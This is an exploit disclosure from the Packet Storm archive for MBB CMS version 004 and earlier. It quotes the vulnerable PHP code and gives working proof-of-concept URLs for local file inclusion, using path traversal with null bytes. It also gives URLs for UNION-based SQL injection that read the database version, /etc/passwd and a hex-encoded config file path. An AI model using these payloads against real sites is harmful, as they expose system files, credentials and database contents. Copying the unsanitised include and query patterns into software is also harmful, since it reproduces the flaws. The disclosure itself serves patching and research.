exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

MBB CMS 004 Local File Inclusion / SQL Injection

MBB CMS 004 Local File Inclusion / SQL Injection
Posted Dec 20, 2013
Authored by cr4wl3r

MBB CMS versions 004 and below suffer from local file inclusion and remote SQL injection vulnerabilities.

tags | exploit, remote, local, vulnerability, sql injection, file inclusion
SHA-256 | 398c2a077d4abbc969a441b3fd784add2425de7c3d23257f5dcdd5847b8a0415

MBB CMS 004 Local File Inclusion / SQL Injection

Change Mirror Download
# MBB CMS <= 004 (LFI/SQLi) Multiple Vulnerability
# By cr4wl3r http://bastardlabs.info
# Script http://sourceforge.net/projects/phpmbbcms/
# Tested : Windows / Linux
# Dork : N/A
###################################################
# LFI [ MBB_CMS/index.php ]
# .......
# 22 if(isset($_GET['mod'])){
# 23 $a=$_GET['mod'];
# 24 switch($a){
# 25 case $a:
# 26 if(file_exists("modul/$a/$a.php")){
# 27 include("modul/$a/$a.php");
# 28 }else{
# 29 include("site/main.php");
# 30 }
# 31 break;
# 32 }
# 33 }else{
# 34 $a=$_GET['ref'];
# 35 switch($a){
# 36
# 37 case"login": logForm(); break;
# 38 case"logact": login(); break;
# 39 case"logout": logout(); break;
# 40
# 41 case $a:
# 42 if(file_exists("site/$a.php")){
# 43 include("site/$a.php");
# 44 }else if(file_exists("site/$a/$a.php")){
# 45 include("site/$a/$a.php");
# 46 }else{
# 47 include("site/main.php");
# 48 }
# 49 break;
# .......
############################################################
Proof of Concept
http://127.0.0.1/[MBB_CMS]/?mod=[LFI]%00
http://127.0.0.1/[MBB_CMS]/?ref=[LFI]%00
http://127.0.0.1/[MBB_CMS]/?mod=../../../../../../../../../../../../../[file]%00
http://127.0.0.1/[MBB_CMS]/?ref=../../../../../../../../../../../../../[file]%00

# SQLi [ MBB_CMS/modul/article/article.php ]
# ........
# 18 $id=$_GET['id'];
# 19 $query=mysql_query("select artikel_artikel.id,artikel_artikel.catid,artikel_cat.kategori
# from artikel_artikel join artikel_cat on artikel_artikel.catid=artikel_cat.id
# where artikel_artikel.id='$id'");
# ........
#
# .....
# 173 function category(){
# 174 $catid=$_GET['catid'];
# 175 @list($kategori)=mysql_fetch_array(mysql_query("select kategori from artikel_cat where id='$catid'"));
# .....
#################################
Proof of Concept
http://127.0.0.1/[MBB_CMS]/?mod=article&act=detail&id=[SQLi]
http://127.0.0.1/[MBB_CMS]/?mod=article&act=category&catid=[SQLi]
http://127.0.0.1/[MBB_CMS]/?mod=article&act=detail&id=adhan' union select 1,2,version(),4,5 and 'memang'='ganteng
http://127.0.0.1/[MBB_CMS]/?mod=article&act=category&catid=adhan' union select 1,2,load_file('/etc/passwd'),4,5 and 'memang'='ganteng

# SQLi [MBB_CMS/site/page/page.php ]
# .......
# 92 $pid=$_GET['pid'];
# 93 @list($name)=mysql_fetch_array(mysql_query("select title from pages where pub='1' and id='$pid'"));
# ......
###########################################
Proof of Concept
http://127.0.0.1/[MBB_CMS]/?ref=page&pid=[SQLi]
http://127.0.0.1/[MBB_CMS]/?ref=page&pid=adhan' union select 1,2,load_file(0x433a2f417070536572762f7777772f64656d6f2f7379732f636f6e6669672e706870),4,5 and 'memang'='ganteng
Login or Register to add favorites

File Archive:

June 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    0 Files
  • 2
    Jun 2nd
    0 Files
  • 3
    Jun 3rd
    18 Files
  • 4
    Jun 4th
    21 Files
  • 5
    Jun 5th
    0 Files
  • 6
    Jun 6th
    57 Files
  • 7
    Jun 7th
    6 Files
  • 8
    Jun 8th
    0 Files
  • 9
    Jun 9th
    0 Files
  • 10
    Jun 10th
    12 Files
  • 11
    Jun 11th
    27 Files
  • 12
    Jun 12th
    38 Files
  • 13
    Jun 13th
    16 Files
  • 14
    Jun 14th
    14 Files
  • 15
    Jun 15th
    0 Files
  • 16
    Jun 16th
    0 Files
  • 17
    Jun 17th
    16 Files
  • 18
    Jun 18th
    26 Files
  • 19
    Jun 19th
    15 Files
  • 20
    Jun 20th
    18 Files
  • 21
    Jun 21st
    8 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    19 Files
  • 25
    Jun 25th
    5 Files
  • 26
    Jun 26th
    13 Files
  • 27
    Jun 27th
    42 Files
  • 28
    Jun 28th
    9 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close